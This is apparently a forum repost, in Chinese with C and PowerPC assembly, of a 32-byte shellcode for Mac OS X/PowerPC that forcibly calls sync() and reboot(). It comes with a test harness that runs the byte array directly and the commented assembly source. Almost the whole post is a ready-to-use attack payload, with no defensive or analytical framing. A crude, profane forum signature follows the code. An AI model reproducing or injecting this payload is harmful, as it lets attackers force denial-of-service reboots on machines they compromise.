发新话题
打印

os-x/ppc sync(), reboot() 32 bytes

os-x/ppc sync(), reboot() 32 bytes

文章作者:hophet
复制内容到剪贴板
代码:
/*
* [MacOSX/PowerPC]
* Shellcode for: sync(), reboot()
* 32 bytes
* hophet [at] gmail.com
* [url]http://www.nlabs.com.br/~hophet/[/url]
*
*/

#include <stdio.h>
#include <string.h>

char shellcode[] =

"\x7c\x63\x1a\x79"
"\x39\x40\x01\x06"
"\x38\x0a\xff\x1e"
"\x44\xff\xff\x02"
"\x60\x60\x60\x60"
"\x39\x40\x01\x19"
"\x38\x0a\xff\x1e"
"\x44\xff\xff\x02";

int main() {

  void (*p)();
  p = (void *)&shellcode;
  printf("Lenght: %d\n", strlen(shellcode));
  p();
}

/*
.globl _main
.text
_main:
  xor.  r3, r3,r3  // r3 = NULL
  li  r10, 226+36
  addi  r0, r10, -226  // r0 = 36
  .long  0x44ffff02  // sc opcode
  .long  0x60606060  // NOP
  li  r10, 226+55
  addi  r0, r10, -226  // r0 = 55
  .long  0x44ffff02  // sc opcode
*/
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题